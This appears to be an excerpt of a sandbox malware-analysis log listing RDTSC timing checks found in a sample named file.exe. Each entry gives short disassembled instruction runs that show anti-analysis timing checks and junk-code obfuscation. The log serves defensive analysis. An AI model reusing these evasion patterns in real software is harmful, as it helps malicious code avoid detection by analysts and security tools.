Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4896B second address: A48971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5446E second address: A54476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54476 second address: A5447A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5447A second address: A544C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE66334h 0x00000007 jmp 00007F374CE66335h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f push edi 0x00000010 pushad 0x00000011 jmp 00007F374CE6632Eh 0x00000016 jns 00007F374CE66326h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A544C0 second address: A544CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54613 second address: A54617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54617 second address: A5461D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A577FB second address: A577FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57830 second address: A57834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57900 second address: A57905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57905 second address: A5790B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5790B second address: A5790F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57961 second address: A579D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F374C50007Ah 0x0000000e push 00000000h 0x00000010 jns 00007F374C500078h 0x00000016 push F19BD6DDh 0x0000001b push eax 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F374C500089h 0x00000024 popad 0x00000025 pop eax 0x00000026 add dword ptr [esp], 0E6429A3h 0x0000002d mov ecx, dword ptr [ebp+122D36B8h] 0x00000033 push 00000003h 0x00000035 mov edx, 56886F21h 0x0000003a push 00000000h 0x0000003c sub dword ptr [ebp+122D34E2h], ecx 0x00000042 push 00000003h 0x00000044 sbb dl, 00000041h 0x00000047 push B023C29Ah 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f js 00007F374C500076h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57ABE second address: A57B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 call 00007F374CE6632Ah 0x0000000c pop edx 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F374CE66328h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov edx, dword ptr [ebp+122D2805h] 0x0000002f mov edx, dword ptr [ebp+122D36D0h] 0x00000035 push 14918F0Ch 0x0000003a pushad 0x0000003b jno 00007F374CE6632Ch 0x00000041 push edi 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F282 second address: A4F28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74AE3 second address: A74AFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE66337h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74AFE second address: A74B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F374C500089h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74B21 second address: A74B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74CC0 second address: A74CC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A74DFB second address: A74E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007F374CE66332h 0x0000000b jbe 00007F374CE66326h 0x00000011 jp 00007F374CE66326h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A754B4 second address: A754DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374C500088h 0x00000009 jmp 00007F374C50007Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75882 second address: A75886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A442 second address: A6A446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BECA second address: A4BEDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374CE6632Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75B08 second address: A75B12 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75B12 second address: A75B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F374CE6632Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75B21 second address: A75B27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75B27 second address: A75B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F374CE66337h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76225 second address: A7622B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7622B second address: A7622F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7636D second address: A76371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76371 second address: A76377 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A767BA second address: A767C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A767C0 second address: A767E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F374CE66339h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A767E4 second address: A767E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40414 second address: A4041A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7DE05 second address: A7DE1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E268 second address: A7E271 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D3C5 second address: A7D3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D3C9 second address: A7D408 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE66338h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c ja 00007F374CE66326h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F374CE66337h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E599 second address: A7E59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82DDE second address: A82DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F374CE6632Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A822DF second address: A822E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A822E3 second address: A822F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F374CE6632Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A822F6 second address: A82317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374C500087h 0x00000009 jns 00007F374C500076h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82317 second address: A82338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F374CE6632Ch 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82338 second address: A8233E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A824DD second address: A824F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE6632Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8293B second address: A82952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F374C500083h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82952 second address: A82975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE6632Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a je 00007F374CE66326h 0x00000010 jng 00007F374CE66326h 0x00000016 pop edi 0x00000017 pop esi 0x00000018 pushad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82975 second address: A82985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F374C500076h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82985 second address: A8298D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8298D second address: A829BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F374C50007Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F374C500084h 0x00000011 jmp 00007F374C50007Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A829BE second address: A829C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83578 second address: A83587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374C50007Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84284 second address: A8428A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A846AD second address: A846B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A846B9 second address: A846BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84769 second address: A847A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F374C50007Fh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F374C500078h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A847A6 second address: A847B0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F374CE66326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84C7A second address: A84C80 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87144 second address: A8718A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F374CE66326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, dword ptr [ebp+122D35B0h] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F374CE66328h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov di, EA01h 0x00000036 push eax 0x00000037 pushad 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8860D second address: A88612 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A886CF second address: A886D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A886D3 second address: A886D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A891CE second address: A891D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A891D2 second address: A891E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jl 00007F374C500098h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A891E4 second address: A891E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8BBB5 second address: A8BBBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8BBBA second address: A8BBD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F374CE66333h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F7B2 second address: A8F7B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F7B6 second address: A8F7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F374CE6632Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A920B2 second address: A920C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374C500080h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A920C6 second address: A920CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94FD9 second address: A95050 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F374C500078h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D1AD2h], eax 0x00000029 add ebx, 5EDE6433h 0x0000002f and edi, 1CC7B3BDh 0x00000035 push 00000000h 0x00000037 mov edi, dword ptr [ebp+122D35E8h] 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F374C500078h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 00000018h 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 mov ebx, dword ptr [ebp+122D37C8h] 0x0000005f xchg eax, esi 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 ja 00007F374C500076h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96148 second address: A96156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F374CE66326h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A952DA second address: A952DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A97032 second address: A97036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98054 second address: A98068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F374C50007Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9723B second address: A97252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374CE66333h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A97252 second address: A97256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99014 second address: A99018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99018 second address: A9901E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9901E second address: A99028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F374CE66326h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B124 second address: A9B132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374C50007Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B132 second address: A9B144 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F374CE66326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B144 second address: A9B148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B261 second address: A9B265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C23E second address: A9C244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B265 second address: A9B2F6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F374CE66328h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F374CE66328h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+12472C56h], ebx 0x0000002b push dword ptr fs:[00000000h] 0x00000032 xor dword ptr [ebp+122D194Dh], esi 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov edi, dword ptr [ebp+12466F18h] 0x00000045 mov eax, dword ptr [ebp+122D14C5h] 0x0000004b mov dword ptr [ebp+122D2839h], edi 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push ebx 0x00000056 call 00007F374CE66328h 0x0000005b pop ebx 0x0000005c mov dword ptr [esp+04h], ebx 0x00000060 add dword ptr [esp+04h], 00000018h 0x00000068 inc ebx 0x00000069 push ebx 0x0000006a ret 0x0000006b pop ebx 0x0000006c ret 0x0000006d mov ebx, dword ptr [ebp+1244CBEEh] 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 jg 00007F374CE6632Ch 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C244 second address: A9C267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500086h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D2D6 second address: A9D2E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F374CE66326h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B2F6 second address: A9B300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F374C500076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E393 second address: A9E3BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE66333h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F374CE6632Ch 0x00000012 rdtsc
